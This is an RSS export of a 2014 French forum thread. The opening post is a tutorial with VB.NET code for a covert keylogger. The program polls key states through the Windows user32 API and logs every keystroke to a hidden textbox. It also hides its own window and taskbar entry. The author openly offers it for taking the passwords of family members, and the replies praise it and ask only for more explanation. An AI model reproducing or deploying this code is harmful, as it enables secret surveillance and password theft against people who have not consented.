<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[va pour enregistrer les frappes (j&#x27;ai reçu un coup)]]></title><description><![CDATA[<p dir="auto">Bonjour,</p>
<p dir="auto">je vais vous expliquez comment faire un enregistreur de frappe.^^</p>
<p dir="auto">pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...</p>
<p dir="auto">Il faut:</p>
<p dir="auto">-1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0)</p>
<p dir="auto">-1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus)</p>
<p dir="auto">-2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100)</p>
<p dir="auto">-1 NotifyIcon (Config: Icon=[votre Icône Windows)</p>
<p dir="auto">-1 Icône windows de préférence</p>
<p dir="auto">KDO:</p>
<p dir="auto">un lien vers un site plein d'icône cool:</p>
<p dir="auto"><a href="http://icones.pro/windows-4-image-png.html" rel="nofollow ugc">-&gt;Lien&lt;- (lien icone windows)</a></p>
<p dir="auto">et c'est partit pour le code... u_u</p>
<p dir="auto">double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]:</p>
<pre><code>Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
</code></pre>
<p dir="auto">et dans l'handle (le code form_load):</p>
<pre><code>Timer1.Start()
        Timer2.Start()
        Me.Visible = False
</code></pre>
<p dir="auto">maintenant double clique sur le timer1 pour afficher le code et on met dedans :</p>
<pre><code>For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté
            End If
        Next i
</code></pre>
<p dir="auto">Double clique sur le NotifyIcon1 pour afficher le code et on met dedans :</p>
<pre><code>Me.WindowState = FormWindowState.Normal
        Me.Height = 300 ' hauteur
        Me.Width = 300 'largeur
        Me.ShowInTaskbar = True 'affichage dans la barre de tâche
        Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords...
        Me.Visible = True ' si on l'affiche
        TextBox1.Visible = True ' si on affiche les caractères masqués
        Me.AllowTransparency = False
        Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
        Me.Show()
</code></pre>
<p dir="auto">Double clique sur le Timer2 pour afficher le code et on met dedans :</p>
<pre><code> If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre
            Me.Height = 0 'plein de paramètre chiant à expliquer
            Me.Width = 0
            Me.ShowInTaskbar = False
            Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None
            Me.Visible = False
            TextBox1.Visible = False
            Me.AllowTransparency = True
            Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
            'code by Mars073
        End If
</code></pre>
<p dir="auto">si vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^</p>
<p dir="auto">Et quand on a fini on fait un double clique sur l'icône et le texte enregistré.</p>
<p dir="auto">Bonne programmation à tous!</p>
<p dir="auto">Cordialement,</p>
<p dir="auto">Mars073</p>
]]></description><link>http://new.melinyel.net/topic/118/va-pour-enregistrer-les-frappes-jai-reçu-un-coup</link><generator>RSS for Node</generator><lastBuildDate>Thu, 21 May 2026 19:29:51 GMT</lastBuildDate><atom:link href="http://new.melinyel.net/topic/118.rss" rel="self" type="application/rss+xml"/><pubDate>Thu, 13 Mar 2014 21:01:43 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to va pour enregistrer les frappes (j&#x27;ai reçu un coup) on Sat, 12 Apr 2014 18:46:00 GMT]]></title><description><![CDATA[<p dir="auto">j'ai ajouté quelques commentaires mais bon comme là dit azad c'est assez explicite je montre juste la captation des entrées du clavier par l'utilisateur en utilisant la librairie windows ._.</p>
]]></description><link>http://new.melinyel.net/post/5409</link><guid isPermaLink="true">http://new.melinyel.net/post/5409</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Sat, 12 Apr 2014 18:46:00 GMT</pubDate></item><item><title><![CDATA[Reply to va pour enregistrer les frappes (j&#x27;ai reçu un coup) on Fri, 11 Apr 2014 22:32:41 GMT]]></title><description><![CDATA[<blockquote>
<p dir="auto">Bonjour,</p>
<p dir="auto">je vais vous expliquez comment faire un enregistreur de frappe.^^</p>
<p dir="auto">pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...</p>
</blockquote>
<p dir="auto">T'as quoi contre les hamster :@</p>
<p dir="auto">Sympa ! Un peu plus d'explication de code et c'est parfait.</p>
]]></description><link>http://new.melinyel.net/post/5349</link><guid isPermaLink="true">http://new.melinyel.net/post/5349</guid><dc:creator><![CDATA[Droby]]></dc:creator><pubDate>Fri, 11 Apr 2014 22:32:41 GMT</pubDate></item><item><title><![CDATA[Reply to va pour enregistrer les frappes (j&#x27;ai reçu un coup) on Tue, 18 Mar 2014 23:43:34 GMT]]></title><description><![CDATA[<p dir="auto">Ça reste plutôt explicite, quand même.<br />
Mais si des explications sont nécessaires, pourquoi pas. <img src="http://new.melinyel.net/assets/plugins/nodebb-plugin-emoji/emoji/android/1f642.png?v=aa95655114f" class="not-responsive emoji emoji-android emoji--slightly_smiling_face" style="height:23px;width:auto;vertical-align:middle" title=":)" alt="🙂" /></p>
]]></description><link>http://new.melinyel.net/post/2526</link><guid isPermaLink="true">http://new.melinyel.net/post/2526</guid><dc:creator><![CDATA[Azad]]></dc:creator><pubDate>Tue, 18 Mar 2014 23:43:34 GMT</pubDate></item><item><title><![CDATA[Reply to va pour enregistrer les frappes (j&#x27;ai reçu un coup) on Sun, 16 Mar 2014 17:21:30 GMT]]></title><description><![CDATA[<p dir="auto">Merci du partage mais essaye d'expliquer le code car la c'est du copier coller bête x)</p>
]]></description><link>http://new.melinyel.net/post/1933</link><guid isPermaLink="true">http://new.melinyel.net/post/1933</guid><dc:creator><![CDATA[Soon]]></dc:creator><pubDate>Sun, 16 Mar 2014 17:21:30 GMT</pubDate></item><item><title><![CDATA[Reply to va pour enregistrer les frappes (j&#x27;ai reçu un coup) on Thu, 13 Mar 2014 22:30:03 GMT]]></title><description><![CDATA[<p dir="auto">Merci du partage. <img src="http://new.melinyel.net/assets/plugins/nodebb-plugin-emoji/emoji/android/1f642.png?v=aa95655114f" class="not-responsive emoji emoji-android emoji--slightly_smiling_face" style="height:23px;width:auto;vertical-align:middle" title=":)" alt="🙂" /></p>
<p dir="auto">+1 Rep.</p>
]]></description><link>http://new.melinyel.net/post/1326</link><guid isPermaLink="true">http://new.melinyel.net/post/1326</guid><dc:creator><![CDATA[Azad]]></dc:creator><pubDate>Thu, 13 Mar 2014 22:30:03 GMT</pubDate></item></channel></rss>